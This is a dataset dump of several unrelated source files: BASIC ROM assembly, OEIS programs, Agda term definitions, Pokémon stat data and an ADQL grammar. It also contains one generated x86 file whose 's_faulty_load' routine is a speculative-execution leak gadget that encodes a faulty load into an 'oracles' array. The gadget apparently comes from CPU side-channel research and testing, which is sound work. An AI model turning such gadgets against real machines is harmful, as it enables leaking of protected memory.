max_stars_repo_path
stringlengths 4
261
| max_stars_repo_name
stringlengths 6
106
| max_stars_count
int64 0
38.8k
| id
stringlengths 1
6
| text
stringlengths 7
1.05M
|
---|---|---|---|---|
source/math/multiply.asm
|
mega65dev/rom-assembler
| 0 |
91099
|
<reponame>mega65dev/rom-assembler
; ********************************************************************************************
; ********************************************************************************************
;
; Name : multiply.asm
; Purpose : ..
; Created : 15th Nov 1991
; Updated : 4th Jan 2021
; Authors : <NAME>
;
; ********************************************************************************************
; ********************************************************************************************
; Multiplication FAC = ARG*FAC
fmultt_c65 ; [910402]
lda argsgn
eor facsgn
sta arisgn ; resultant sign
ldx facexp ; set signs on thing to multiply
bra fmultt ; go multiply
fmult jsr conupk ; unpack the constant into arg for use
fmultt beq multrt ; if FAC=0, return. FAC is set
jsr muldiv ; fix up the exponents
lda #0 ; to clear result
sta resho
sta resmoh
sta resmo
sta reslo
lda facov
jsr mltpl1 ; *** THIS fixes the DBL-0 bug without causing other grief! C128-04 FAB
lda faclo ; multiply arg by faclo
jsr mltply
lda facmo ; multiply arg by facmo
jsr mltply
lda facmoh
jsr mltpl1 ; *** THIS fixes the DBL-0 bug without causing other grief! C128-04 FAB
lda facho ; multiply arg by facho
jsr mltpl1
+lbra movfr ; move result into FAC
mltply +lbeq mulshf ; normalize result and return. shift result right 1 byte. exits with .c=0
mltpl1 lsr
ora #$80 ; will flag end of shifting
l171_1 tay
bcc l171_2 ; if mult bit=0, just shift
clc
lda reslo
adc arglo
sta reslo
lda resmo
adc argmo
sta resmo
lda resmoh
adc argmoh
sta resmoh
lda resho
adc argho
sta resho
l171_2 ror resho
ror resmoh
ror resmo
ror reslo
ror facov ; save for rounding
tya
lsr ; clear msb so we get a closer to 0
bne l171_1 ; slow as a turtle
multrt rts
; ********************************************************************************************
;
; Date Changes
; ==== =======
;
; ********************************************************************************************
|
oeis/026/A026049.asm
|
neoneye/loda-programs
| 11 |
29933
|
<reponame>neoneye/loda-programs
; A026049: a(n) = dot_product(1,2,...,n)*(7,8,...,n,1,2,3,4,5,6).
; 119,156,204,265,341,434,546,679,835,1016,1224,1461,1729,2030,2366,2739,3151,3604,4100,4641,5229,5866,6554,7295,8091,8944,9856,10829,11865,12966,14134,15371,16679,18060,19516,21049,22661,24354,26130,27991,29939,31976,34104,36325,38641,41054,43566,46179,48895,51716,54644,57681,60829,64090,67466,70959,74571,78304,82160,86141,90249,94486,98854,103355,107991,112764,117676,122729,127925,133266,138754,144391,150179,156120,162216,168469,174881,181454,188190,195091,202159,209396,216804,224385,232141
sub $2,$0
add $0,9
bin $0,3
bin $2,3
sub $0,$2
add $0,35
|
test/Succeed/SingletonInstance.agda
|
alhassy/agda
| 3 |
14258
|
<filename>test/Succeed/SingletonInstance.agda
module _ where
record β€ : Set where
constructor tt
f : {{u : β€}} β β€
f = _
foo : (x : β€) β β€
foo x = f
|
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca.log_21829_915.asm
|
ljhsiun2/medusa
| 9 |
26033
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %r8
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x9992, %rbp
nop
nop
xor $63305, %r15
mov (%rbp), %r12d
nop
xor $51698, %rsi
lea addresses_normal_ht+0x15870, %rsi
lea addresses_D_ht+0x1d38d, %rdi
clflush (%rsi)
clflush (%rdi)
nop
nop
nop
nop
nop
sub %rdx, %rdx
mov $32, %rcx
rep movsb
nop
inc %rsi
lea addresses_WT_ht+0x16670, %r12
clflush (%r12)
nop
nop
and %r15, %r15
vmovups (%r12), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $0, %xmm0, %rdi
nop
add $5867, %rcx
lea addresses_UC_ht+0xeb70, %rsi
nop
nop
nop
nop
xor %rcx, %rcx
mov (%rsi), %di
nop
cmp %rcx, %rcx
lea addresses_A_ht+0x1bd70, %rsi
lea addresses_A_ht+0x2330, %rdi
nop
nop
nop
and %rbp, %rbp
mov $3, %rcx
rep movsb
nop
nop
nop
xor $61070, %rsi
lea addresses_UC_ht+0x6048, %rsi
lea addresses_WC_ht+0xe370, %rdi
nop
nop
nop
and $53966, %r8
mov $16, %rcx
rep movsq
nop
nop
inc %rsi
lea addresses_A_ht+0xf7b0, %r12
nop
nop
nop
nop
and %rbp, %rbp
vmovups (%r12), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %r15
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_UC_ht+0x9970, %rdx
nop
add %rdi, %rdi
mov (%rdx), %r12
nop
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_D_ht+0xa6f0, %rsi
lea addresses_normal_ht+0xac50, %rdi
nop
add $52828, %r15
mov $125, %rcx
rep movsl
nop
nop
nop
nop
dec %rdi
lea addresses_normal_ht+0x15124, %rcx
nop
nop
nop
dec %r12
mov (%rcx), %r15w
nop
nop
cmp %rdi, %rdi
lea addresses_WC_ht+0x143c6, %r8
nop
nop
nop
sub $38161, %r15
mov $0x6162636465666768, %r12
movq %r12, (%r8)
nop
nop
and $23927, %rdi
lea addresses_normal_ht+0xc370, %r15
nop
nop
cmp $62752, %rdi
mov (%r15), %r8
nop
nop
sub $30264, %rsi
lea addresses_WT_ht+0x1ea7c, %rsi
lea addresses_D_ht+0x11ff8, %rdi
nop
nop
nop
xor %r15, %r15
mov $17, %rcx
rep movsq
nop
nop
nop
and $39209, %rdx
lea addresses_D_ht+0x368, %rsi
lea addresses_WC_ht+0x18454, %rdi
inc %r8
mov $44, %rcx
rep movsl
nop
nop
nop
and %r15, %r15
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %r8
push %r9
push %rbx
push %rcx
// Store
mov $0x370, %rbx
cmp $51505, %r14
mov $0x5152535455565758, %r12
movq %r12, %xmm3
vmovups %ymm3, (%rbx)
nop
nop
nop
nop
and $16142, %r14
// Store
lea addresses_WT+0x1b860, %r15
nop
nop
sub $39684, %rcx
movb $0x51, (%r15)
xor $65078, %rbx
// Store
mov $0x6822a70000000b70, %r15
nop
cmp $47240, %r8
movb $0x51, (%r15)
nop
nop
nop
nop
xor $33539, %r8
// Store
lea addresses_A+0x19eb0, %rcx
nop
nop
nop
dec %r8
movw $0x5152, (%rcx)
nop
nop
nop
xor $42575, %rbx
// Load
lea addresses_PSE+0xab70, %r8
nop
add %rbx, %rbx
movb (%r8), %r14b
nop
nop
nop
nop
and $55948, %rcx
// Load
lea addresses_RW+0x1b970, %rbx
nop
nop
dec %r15
mov (%rbx), %rcx
nop
nop
nop
nop
nop
xor $47369, %r8
// Store
lea addresses_PSE+0x16bc4, %rbx
nop
nop
nop
nop
sub %r12, %r12
mov $0x5152535455565758, %r9
movq %r9, %xmm7
movups %xmm7, (%rbx)
nop
nop
cmp $11555, %rcx
// Load
mov $0xd3a, %r9
nop
nop
nop
nop
cmp %r14, %r14
mov (%r9), %ecx
nop
nop
nop
nop
dec %rcx
// Faulty Load
lea addresses_RW+0x4370, %r15
add %r9, %r9
vmovntdqa (%r15), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %r8
lea oracles, %r12
and $0xff, %r8
shlq $12, %r8
mov (%r12,%r8,1), %r8
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': True, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': True, 'congruent': 4}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': True, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': True, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': True, 'type': 'addresses_RW', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_UC_ht', 'same': True, 'AVXalign': False, 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WT_ht', 'same': True, 'AVXalign': False, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 4}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 10}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_UC_ht', 'same': True, 'AVXalign': False, 'congruent': 9}}
{'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_D_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 4}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': True, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_WT_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 2}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
Lab/exp1/Sources/main.asm
|
asheemchhetri/ECE362
| 0 |
99509
|
org $800
adda 2,PC
|
data/pokemon/base_stats/lickilicky.asm
|
AtmaBuster/pokeplat-gen2
| 6 |
81607
|
<reponame>AtmaBuster/pokeplat-gen2
db 0 ; species ID placeholder
db 110, 85, 95, 50, 80, 95
; hp atk def spd sat sdf
db NORMAL, NORMAL ; type
db 30 ; catch rate
db 180 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F50 ; gender ratio
db 20 ; step cycles to hatch
INCBIN "gfx/pokemon/lickilicky/front.dimensions"
db GROWTH_MEDIUM_FAST ; growth rate
dn EGG_MONSTER, EGG_MONSTER ; egg groups
db 70 ; happiness
; tm/hm learnset
tmhm FOCUS_PUNCH, WATER_PULSE, TOXIC, HIDDEN_POWER, SUNNY_DAY, ICE_BEAM, BLIZZARD, HYPER_BEAM, PROTECT, RAIN_DANCE, FRUSTRATION, SOLARBEAM, IRON_TAIL, THUNDERBOLT, THUNDER, EARTHQUAKE, RETURN, DIG, SHADOW_BALL, BRICK_BREAK, DOUBLE_TEAM, SHOCK_WAVE, FLAMETHROWER, SANDSTORM, FIRE_BLAST, ROCK_TOMB, FACADE, SECRET_POWER, REST, ATTRACT, THIEF, FOCUS_BLAST, FLING, ENDURE, EXPLOSION, GIGA_IMPACT, GYRO_BALL, SWORDS_DANCE, PSYCH_UP, CAPTIVATE, ROCK_SLIDE, SLEEP_TALK, NATURAL_GIFT, DREAM_EATER, SWAGGER, SUBSTITUTE, CUT, SURF, STRENGTH, ROCK_SMASH, ROCK_CLIMB, AQUA_TAIL, FIRE_PUNCH, ICE_PUNCH, ICY_WIND, KNOCK_OFF, MUD_SLAP, ROLLOUT, SNORE, THUNDERPUNCH, ZEN_HEADBUTT
; end
|
src/queryparser/adql/ADQLParser.g4
|
aipescience/queryparser
| 8 |
5076
|
parser grammar ADQLParser;
options
{ tokenVocab = ADQLLexer; }
approximate_numeric_literal: REAL ;
area: AREA LPAREN geometry_value_expression RPAREN ;
as_clause: ( AS )? column_name ;
between_predicate: value_expression ( NOT )? BETWEEN value_expression AND value_expression ;
bitwise_and: AMPERSAND ;
bitwise_not: TILDE ;
bitwise_or: VERTBAR ;
bitwise_xor: CIRCUMFLEX ;
boolean_factor: ( NOT )? boolean_primary ;
//boolean_function: // This is empty in the document!
boolean_literal: TRUE | FALSE ;
boolean_primary: LPAREN search_condition RPAREN | predicate | boolean_value_expression ;
boolean_term: boolean_factor | boolean_term AND boolean_factor ;
boolean_value_expression: boolean_literal | user_defined_function ; //| boolean_function ;
box:
BOX
LPAREN
coord_sys COMMA coordinates COMMA numeric_value_expression COMMA numeric_value_expression
RPAREN ;
catalog_name: ID ;
centroid: CENTROID LPAREN geometry_value_expression RPAREN ;
//character_representation: nonquote_character ;// | SQ SQ ;
char_function: LOWER LPAREN character_string_literal RPAREN ;
character_string_literal: CSL ; //SQ ( SL )* SQ ; //SQ ( character_representation )* SQ ;
character_value_expression:
character_value_expression concatenation_operator ( value_expression_primary | string_value_function )
| value_expression_primary
| string_value_function ;
circle: CIRCLE LPAREN coord_sys COMMA coordinates COMMA radius RPAREN ;
column_name: identifier ;
column_name_list: column_name ( COMMA column_name )* ;
column_reference: ( qualifier DOT )? column_name ;
comp_op: EQ | NOT_EQ | LTH | GTH | GRET | LEET ;
comparison_predicate: value_expression comp_op value_expression ;
concatenation_operator: CONCAT ;
contains: CONTAINS LPAREN geometry_value_expression COMMA geometry_value_expression RPAREN ;
coord_sys: string_value_expression ;
coord_value: point | column_reference | centroid ;
coord1: COORD1 LPAREN coord_value RPAREN ;
coord2: COORD2 LPAREN coord_value RPAREN ;
coordinate1: numeric_value_expression ;
coordinate2: numeric_value_expression ;
coordinates: coordinate1 COMMA coordinate2 ;
correlation_name: identifier ;
correlation_specification: ( AS )? correlation_name ;
//default_function_prefix: // this is empty in the document!
delimited_identifier: DQ ID DQ ;
derived_column: value_expression ( as_clause )? ;
derived_table: table_subquery ;
distance:
DISTANCE
LPAREN (
( coord_value COMMA coord_value ) |
( numeric_value_expression COMMA numeric_value_expression COMMA
numeric_value_expression COMMA numeric_value_expression )
) RPAREN ;
//double_quote_symbol: DQ DQ ;
exact_numeric_literal: unsigned_decimal ( DOT ( unsigned_decimal )? )? | DOT unsigned_decimal;
exists_predicate: EXISTS table_subquery ;
extract_coordsys: COORDSYS LPAREN geometry_value_expression RPAREN ;
factor: ( sign )? numeric_primary ;
from_clause: FROM table_reference ( COMMA table_reference )* ;
general_literal: character_string_literal ;
general_set_function: set_function_type LPAREN ( set_quantifier )? value_expression RPAREN ;
geometry_value_expression: box | centroid | circle | point | polygon | region | user_defined_function ;
group_by_clause: GROUP BY grouping_column_reference_list ;
grouping_column_reference: column_reference ;
grouping_column_reference_list: grouping_column_reference ( COMMA grouping_column_reference )* ;
having_clause: HAVING search_condition ;
identifier: regular_identifier | delimited_identifier ;
in_predicate: value_expression ( NOT )? IN in_predicate_value ;
in_predicate_value: table_subquery | LPAREN in_value_list RPAREN ;
in_value_list: value_expression ( COMMA value_expression )* ;
intersects: INTERSECTS LPAREN geometry_value_expression COMMA geometry_value_expression RPAREN ;
join_column_list: column_name_list ;
join_condition: ON search_condition ;
join_specification: join_condition | named_columns_join ;
join_type: INNER | outer_join_type ( OUTER )? ;
joined_table:
table_reference ( NATURAL )? ( join_type )? JOIN table_reference ( join_specification )?
| LPAREN joined_table RPAREN ;
like_predicate: match_value ( NOT )? LIKE pattern | match_value ( NOT )? ILIKE pattern ;
match_value: character_value_expression ;
math_function:
ABS LPAREN numeric_value_expression RPAREN
| CEILING LPAREN numeric_value_expression RPAREN
| DEGREES LPAREN numeric_value_expression RPAREN
| EXP LPAREN numeric_value_expression RPAREN
| FLOOR LPAREN numeric_value_expression RPAREN
| LOG LPAREN numeric_value_expression RPAREN
| LOG10 LPAREN numeric_value_expression RPAREN
| MOD LPAREN numeric_value_expression COMMA numeric_value_expression RPAREN
| PI LPAREN RPAREN
| POWER LPAREN numeric_value_expression COMMA numeric_value_expression RPAREN
| RADIANS LPAREN numeric_value_expression RPAREN
| RAND LPAREN ( unsigned_decimal )? RPAREN
| ROUND LPAREN numeric_value_expression ( COMMA signed_integer )? RPAREN
| SQRT LPAREN numeric_value_expression RPAREN
| TRUNCATE LPAREN numeric_value_expression ( COMMA signed_integer )? RPAREN ;
named_columns_join: USING LPAREN join_column_list RPAREN ;
non_join_query_expression: non_join_query_term | query_expression UNION ( ALL )? query_term
| query_expression EXCEPT ( ALL )? query_term ;
non_join_query_primary: query_specification | LPAREN non_join_query_expression RPAREN ;
non_join_query_term: non_join_query_primary | query_term INTERSECT ( ALL )? query_expression ;
non_predicate_geometry_function:area | coord1 | coord2 | distance ;
//nondoublequote_character: NDQC ;
//nonquote_character: NQC ;
null_predicate: column_reference IS ( NOT )? NULL ;
numeric_geometry_function: predicate_geometry_function | non_predicate_geometry_function ;
numeric_primary: ( sign )? value_expression_primary | numeric_value_function ;
numeric_value_expression:
term
| bitwise_not numeric_value_expression
| numeric_value_expression bitwise_and numeric_value_expression
| numeric_value_expression bitwise_or numeric_value_expression
| numeric_value_expression bitwise_xor numeric_value_expression
| numeric_value_expression PLUS term
| numeric_value_expression MINUS term ;
numeric_value_function: trig_function | math_function | numeric_geometry_function | user_defined_function ;
offset_clause: OFFSET unsigned_decimal ;
order_by_clause: ORDER BY sort_specification_list ;
ordering_specification: ASC | DESC ;
outer_join_type: LEFT | RIGHT | FULL ;
pattern: character_value_expression ;
point: POINT LPAREN coord_sys COMMA coordinates RPAREN ;
polygon: POLYGON LPAREN coord_sys COMMA coordinates COMMA
coordinates ( COMMA coordinates )+ RPAREN ;
predicate:
comparison_predicate
| between_predicate
| in_predicate
| like_predicate
| null_predicate
| exists_predicate ;
predicate_geometry_function: contains | intersects ;
qualifier: column_name | table_name | correlation_name ;
query_expression:
non_join_query_term
| query_expression UNION ( ALL )? query_term
| query_expression EXCEPT ( ALL )? query_term
| joined_table ;
query_name: ID ;
query: query_expression SEMI;
query_specification: ( WITH with_query )? select_query ;
query_term: non_join_query_primary | query_term INTERSECT ( ALL )? query_expression | joined_table ;
radius: numeric_value_expression ;
region: REGION LPAREN string_value_expression RPAREN ;
regular_identifier: ID ;
schema_name: ID ; //( catalog_name DOT )? unqualified_schema_name ;
search_condition: boolean_term | search_condition OR boolean_term ;
select_list: ( select_sublist ( COMMA select_sublist )* ) | ( ASTERISK ( COMMA select_sublist ( COMMA select_sublist )* )? ) ;
select_query: SELECT ( set_quantifier )? ( set_limit )? select_list table_expression ;
select_sublist: derived_column | qualifier DOT ASTERISK ;
set_function_specification: COUNT LPAREN ASTERISK RPAREN | general_set_function ;
set_function_type: AVG | MAX | MIN | SUM | COUNT ;
set_limit: TOP unsigned_decimal ;
set_quantifier: DISTINCT | ALL ;
sign: PLUS | MINUS ;
signed_integer: ( sign )? unsigned_decimal ;
sort_key: column_name | unsigned_decimal ;
sort_specification: sort_key (ordering_specification )? ;
sort_specification_list: sort_specification ( COMMA sort_specification )* ;
string_geometry_function: extract_coordsys ;
string_value_expression: character_value_expression ;
string_value_function: string_geometry_function | user_defined_function | char_function;
subquery: LPAREN query_expression RPAREN ;
table_expression:
from_clause
( where_clause )?
( group_by_clause )?
( having_clause )?
( order_by_clause )?
( offset_clause )? ;
table_name: ( schema_name DOT )? identifier ;
table_reference:
table_name ( correlation_specification )?
| derived_table correlation_specification
| table_reference ( NATURAL )? ( join_type )? JOIN table_reference ( join_specification )?
| LPAREN joined_table RPAREN ;
table_subquery: subquery ;
term: factor | term ASTERISK factor | term SOLIDUS factor | term MOD_SYM factor;
trig_function: ACOS LPAREN numeric_value_expression RPAREN
| ACOS LPAREN numeric_value_expression RPAREN
| ASIN LPAREN numeric_value_expression RPAREN
| ATAN LPAREN numeric_value_expression RPAREN
| ATAN2 LPAREN numeric_value_expression COMMA numeric_value_expression RPAREN
| COS LPAREN numeric_value_expression RPAREN
| COT LPAREN numeric_value_expression RPAREN
| SIN LPAREN numeric_value_expression RPAREN
| TAN LPAREN numeric_value_expression RPAREN ;
unqualified_schema_name: ID ;
unsigned_decimal: INT ;
unsigned_hexadecimal: HEX_DIGIT ;
unsigned_literal: unsigned_numeric_literal | general_literal ;
unsigned_numeric_literal: exact_numeric_literal | approximate_numeric_literal | unsigned_hexadecimal ;
unsigned_value_specification: unsigned_literal ;
user_defined_function:
user_defined_function_name
LPAREN
( user_defined_function_param ( COMMA user_defined_function_param )* )?
RPAREN ;
user_defined_function_name: regular_identifier ; //( default_function_prefix )? regular_identifier ;
user_defined_function_param: value_expression ;
value_expression:
numeric_value_expression
| string_value_expression
| boolean_value_expression
| geometry_value_expression ;
value_expression_primary:
unsigned_value_specification
| column_reference
| set_function_specification
| LPAREN value_expression RPAREN ;
where_clause: WHERE search_condition ;
with_query: query_name ( LPAREN column_name ( COMMA column_name )* RPAREN )? AS LPAREN ( query_specification )? RPAREN ;
|
programs/oeis/085/A085801.asm
|
neoneye/loda
| 22 |
26805
|
; A085801: Maximum number of nonattacking queens on an n X n toroidal board.
; 1,1,1,2,5,4,7,6,7,9,11,10,13,13,13,14,17,16,19,18,19,21,23,22,25,25,25,26,29,28,31,30,31,33,35,34,37,37,37,38,41,40,43,42,43,45,47,46,49,49,49,50,53,52,55,54,55,57,59,58,61,61,61,62,65,64,67,66,67,69,71,70,73,73,73,74,77,76,79,78,79,81,83,82,85,85,85,86,89,88,91,90,91,93,95,94,97,97,97,98
add $0,1
mov $1,2
lpb $1
mov $1,72
gcd $1,$0
sub $1,1
lpe
sub $0,$1
|
src/SecondOrder/Term.agda
|
cilinder/formaltt
| 21 |
4690
|
<filename>src/SecondOrder/Term.agda
open import Agda.Primitive using (lzero; lsuc; _β_)
open import Relation.Binary.PropositionalEquality
open import Relation.Binary using (Setoid)
import SecondOrder.Arity
import SecondOrder.Signature
import SecondOrder.Metavariable
module SecondOrder.Term
{β}
{πΈ : SecondOrder.Arity.Arity}
(Ξ£ : SecondOrder.Signature.Signature β πΈ)
where
open SecondOrder.Signature.Signature Ξ£
open SecondOrder.Metavariable Ξ£
-- The term judgement
data Term (Ξ : MContext) : β (Ξ : VContext) (A : sort) β Set β
Arg : β (Ξ : MContext) (Ξ : VContext) (A : sort) (Ξ : VContext) β Set β
Arg Ξ Ξ A Ξ = Term Ξ (Ξ ,, Ξ) A
data Term Ξ where
tm-var : β {Ξ} {A} (x : A β Ξ) β Term Ξ Ξ A
tm-meta : β {Ξα΄Ή A} {Ξ} (M : [ Ξα΄Ή , A ]β Ξ)
(ts : β {B} (i : B β Ξα΄Ή) β Term Ξ Ξ B)
β Term Ξ Ξ A
tm-oper : β {Ξ} (f : oper) (es : β (i : oper-arg f) β Arg Ξ Ξ (arg-sort f i) (arg-bind f i))
β Term Ξ Ξ (oper-sort f)
-- Syntactic equality of terms
infix 4 _β_
data _β_ {Ξ : MContext} : β {Ξ : VContext} {A : sort} β Term Ξ Ξ A β Term Ξ Ξ A β Set β where
β-β‘ : β {Ξ A} {t u : Term Ξ Ξ A} (ΞΎ : t β‘ u) β t β u
β-meta : β {Ξ} {Ξ± A} {M : [ Ξ± , A ]β Ξ} {ts us : β {B} (i : B β Ξ±) β Term Ξ Ξ B}
(ΞΎ : β {B} i β ts {B} i β us {B} i) β tm-meta M ts β tm-meta M us
β-oper : β {Ξ} {f : oper} {ds es : β (i : oper-arg f) β Arg Ξ Ξ (arg-sort f i) (arg-bind f i)}
(ΞΎ : β i β ds i β es i) β tm-oper f ds β tm-oper f es
-- Syntactic equality of terms is an equivalence relation
β-refl : β {Ξ Ξ A} {t : Term Ξ Ξ A} β t β t
β-refl = β-β‘ refl
β-sym : β {Ξ Ξ A} {t u : Term Ξ Ξ A} β t β u β u β t
β-sym (β-β‘ refl) = β-β‘ refl
β-sym (β-meta ΞΎ) = β-meta Ξ» i β β-sym (ΞΎ i)
β-sym (β-oper ΞΎ) = β-oper (Ξ» i β β-sym (ΞΎ i))
β-trans : β {Ξ Ξ A} {t u v : Term Ξ Ξ A} β t β u β u β v β t β v
β-trans (β-β‘ refl) ΞΎ = ΞΎ
β-trans (β-meta ΞΆ) (β-β‘ refl) = β-meta ΞΆ
β-trans (β-meta ΞΆ) (β-meta ΞΎ) = β-meta (Ξ» i β β-trans (ΞΆ i) (ΞΎ i))
β-trans (β-oper ΞΆ) (β-β‘ refl) = β-oper ΞΆ
β-trans (β-oper ΞΆ) (β-oper ΞΎ) = β-oper (Ξ» i β β-trans (ΞΆ i) (ΞΎ i))
